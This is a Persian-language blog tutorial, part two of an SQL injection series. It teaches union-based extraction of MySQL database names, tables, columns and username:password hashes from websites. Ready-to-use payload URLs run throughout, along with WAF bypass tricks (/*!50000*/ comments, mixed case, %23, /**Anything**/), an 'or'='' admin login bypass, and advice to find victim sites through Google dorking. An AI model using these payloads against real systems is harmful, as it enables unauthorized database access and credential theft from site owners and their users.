قسمت های دیگر این مطلب:

آموزش SQL Injection قسمت دوم را به صورت حرفه‌ای با هیتوس همراه باشید.

بدست آوردن اطلاعات مهم با دستور Union در فرایند SQL Injection

دستور union برای ترکیب اطلاعات دریافتی از پایگاه داده توسط توسعه دهندگان وب مورد استفاده قرار می‌گیرد.

پس از آن‌که در مراحل قبل تعداد ستون‌های دیتابیس را یافتیم با دستور union select سعی در یافتن ستون آسیب پذیر و واکشی اطلاعات مهم از آن داریم.

مثلا در یک تارگت تعداد ستون‌ها 8 عدد باشد، مانند زیر از دستور union select استفاده می‌کنیم:

site.com/news.php?id=5+union+select+1,2,3,4,5,6,7,8--

صفحه دوباره لود می‌شود و در آن اعداد مشخصی نمایش داده می‌شوند که این اعداد شماره ستون‌های آسیب پذیر هستند.

ولی گاهی یافتن شماره ستون در بین حجم بالای اطلاعات درون صفحه مشکل است، که برای حل این مشکل از - قبل از شماره ID استفاده می‌کنیم، مانند زیر:

site.com/news.php?id=-5+union+select+1,2,3,4,5,6,7,8--

یک نمونه از اجرای دستور union select را در پایین می‌بینید:

sql injection union select آموزش

در مثال فوق شماره‌های 3 و 2 و 5 شماره ستون‌های آسیب پذیر است.

نکته: در عملیات تست نفوذ SQL Injection باید بسیار هوشمند باشید چون گاهی ممکن است این اعداد در آدرس عکس‌ها ایجاد شوند. مثلا ممکن است Target شما آدرس عکس‌ها را از پایگاه داده دریافت کند بنابراین کوچکترین تغییرات را باید در صفحه مد نظر داشت.

می توان دو دستور version() و database() را برای یافتن به ترتیب ورژن نسخه MySql و نام پایگاه داده استفاده کرد، که این دستورها باید به جای شماره ستون‌های آسیب پذیر جایگذاری شوند. نمونه این استفاده را در پایین می‌بینید:

اس کیو ال اینجکشن آموزش

نام دیتابیس و ورژن دیتابیس برای تکمیل تست نفوذ مهم است.

یافتن نام جداول پایگاه داده نیز با دستور union select ممکن است، کافی است به جای شماره ستون آسیب پذیر از group_concat(table_name) و در نهایت نیز از دستوری استفاده کنید که اطلاعات جداول موجود در پایگاه داده را از جدول information_schema دریافت کند که به شرح زیر است:

site.com/view-news.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

در کد بالا به جای ستون شماره 3 از عبارت فوق الذکر استفاده کردیم. در آخر کد‌ها نیز از سورسی استفاده کردیم که نام جداول سایت را استخراج می‌کند.

نتیجه اجرای دستور فوق را در یک سایت مانند زیر می‌بینید:

بیرون کشیدن نام جداول پایگاه داده توسط sql injection

همانطور که می‌بینید نام جداول پایگاه داده سایت استخراج شدند. طبیعی است برای تکمیل عملیات نفوذ برخی از این جداول مانند users از اهمیت بالاتری برخوردارند. در بررسی هر پایگاه داده‌ای باید دنبال جداول مهم باشیم که معمولا می‌توان از نام آن ها، جداول مهم را شناسایی کرد.

بدست آوردن اطلاعات موجود در جداول پایگاه داده

بعد از این که با روش‌های گفته شده در بالا به آسیب پذیری یک پایگاه داده پی بردیم و توانستیم نام جداول مهم را استخراج کنیم، با مراحلی که در این بخش یاد می‌گیریم می‌توانیم نام‌های کاربری و کلمه‌های عبور ورود به سایت را استخراج کنیم.

آخرین دستوری که یاد گرفتیم دستور group_concat(table_name) بود که برای دریافت نام‌های جداول از آن استفاده می‌کردیم. اگر این دستور را به صورت  group_concat(column_name) ویرایش کنیم و به جای information_schema.tables از information_schema.columns و به جای table_schema از table_name استفاده کنیم و مقدار database() را با نام هگزادسیمال جدول مورد نظر جایگذاری کنیم، می‌توانیم نام ستون‌های این جدول را استخراج کنیم.

یک مثال را در پایین داریم، که ستون شماره 3 آسیب پذیر است و نام جدول هدف ما user است:

site.com/view-news.php?id=-10+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273--+

نتیجه اجرای دستور فوق به صورت زیر است:

نام ستون‌های جدول مورد نظر در پایگاه داده با sql injection

در حال رسیدن به مکان حساسی از این آموزش هستیم. عبارات داخل پرانتز group_concat را با نام ستون‌های مورد نظر خود جایگذاری می‌کنیم. بهتر است یک ستون در میان از 0x3a استفاده کنیم تا نتایج با : تفکیک شوند (0x3a معادل هگز : است که می‌توان از معادل هگز هر کاراکتر دیگری استفاده کرد). در ضمن کدهای بعد از from را نیز پاک کرده و نام جدول مورد نظر را بدون این که هگز کنیم تایپ می‌کنیم:

site.com/view-news.php?id=-10+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9+from+users--+

نتیجه اجرای کد فوق به شکل زیر است:

استخراج یوزرنیم و پسورد سایت با استفاده از sql injection

پسوردی که در بالا می‌بینید به صورت هش شده است. در این مطلب به رمزنگاری در علوم رایانه‌ای پرداختیم و در مطلب اصطلاحات هک و امنیت که در سایت منتشر شده است اشاره کردیم که هش‌ها در واقع اطلاعات مهم پایگاه داده هستند که به صورت کد شده ذخیره می‌شوند. در این مطلب که در سایت هیتوس منتشر شده است به روش‌های متنوع کرک کردن هش‌ها پرداخته ایم.

در این مطلب راه کارهای یافتن صفحه مدیریت سایت را به صورت مفصل شرح داده ایم.

در این مطلب یاد بگیرید چگونه یوزرنیم و پسورد سایت‌ها را با ترفند Google Hacking استخراج کنید.

بایپس group_concat

در فرایند نفوذ گاهی دیده شده است که تمام کدها درست است و در آخرین مرحله هنگام استفاده از group_concat با مشکل روبرو می‌شویم و چیزی روی صفحه چاپ نمی‌شود. برای حل کردن می‌توان از بایپس زیر بهره ببرید:

unhex(hex(group_concat()))

مثال بخش قبل را با این بایپس ویرایش می‌کنیم:

site.com/view-news.php?id=-10+union+select+1,2,unhex(hex(group_concat(username,0x3a,password())),4,5,6,7,8,9+from+users--+

بایپس Not Acceptable

خطای Not Acceptable هنگام انجام نفوذ SQL Injection

در برخی از نفوذها هنگام تست تارگت با مشکلی مواجه می‌شویم که به ما ارور Not Acceptable می‌دهد.

به عنوان مثال در هنگام تست کردن یک تارگت در مرحله زیر به این خطا بر خوردیم:

site.com/view.php?13+union+select+1,2,3,4,5--

بایپس Not Acceptable به صورت /*!50000*/ مورد استفاده قرار می‌گیرد. مثال فوق را برای دور زدن خطای Not Acceptable به شکل زیر ویرایش می‌کنیم:

site.com/view.php?13+/*!50000union*/+select+1,2,3,4,5--

اگر باز هم خطا را دریافت کردید این بایپس را برای select و from و group_concat و union هم استفاده کنید.

اگر باز به نتیجه نرسیدید برخی از حرف‌های عبارت‌های select و from و group_concat و union را به حروف کاپیتال تبدیل کنید. مانند زیر:

site.com/view.php?13+/*!50000uNiOn*/+/*!50000sEleCt*/+1,2,3,4,5--

این که چه حروفی را کاپیتال کنید تفاوتی نمی‌کند.

نکته: در حین اجرای دستورات ممکن است یک بار خطایی مانند Not Acceptable را بایپس کرده و با تغییر کدها باز از این خطا را دریافت کنیم. باید دیگر مقادیر را نیز دوباره بایپس کرده و بایپس‌های دیگر را نیز تست کرد تا در نهایت به نتیجه برسیم.

بایپس‌های ویژه برای Forbidden

ارور Forbidden مانند Not Acceptable گاهی مانع فعالیت شما می‌شود. اگر با این خطا مواجه شدید ابتدا بایپس مخصوص Not Acceptable را امتحان کنید، اگر به نتیجه نرسیدید از دو روش زیر استفاده کنید:

1) به جای -- از %23 استفاده کنید.

2) اگر با بایپس بالا به نتیجه نرسیدید قبل از هر کدام از عبارت‌های کلیدی select و from و group_concat و union از بایپس /**Anything**/ استفاده کنید. به جای Anything می‌توانید از هر عبارتی می‌توانید استفاده کنید. مانند:

site.com/view.php?13+union+/**Anything**/select+1,2,3,4,5--

بایپس سریع صفحه ورود admin

یکی از بایپس‌های فوری و موثر صفحات ورود بایپس '=''or' است که البته چند سال پیش تارگت‌های بیشتری برای آن وجود داشت ولی باز نیز بایپس‌هایی برای آن می‌توان یافت. از تکنیک گوگل هکینگ استفاده کنید و صفحاتی مانند /admin.php و /admin را بیابید و لاگین پیج‌های مناسب را بیابید و در مکان username و password از بایپس '=''or' استفاده کنید.

SQL Injection برای صفحات بدون id و ...

در برخی از سایت‌ها با آدرس‌هایی مانند زیر بر می‌خوریم:

site.com/1.html
site.com/news/123/

کار کردن روی چنین تارگت‌هایی نیز ساده است و تنها کافی است مقدار شناسه را با مقادیر مورد نظر تست کنیم. برای تارگت‌های فوق داریم:

site.com/'1.html
site.com/news/'123/

اگر سوالی در مورد انجام عملیات SQL Injection داشتید در بخش نظرات با ما در ارتباط باشید.

تگ ها: googleرمز نگاریکالی لینوکستست نفوذدیتابیس و پایگاه دادهSQL Injectionهک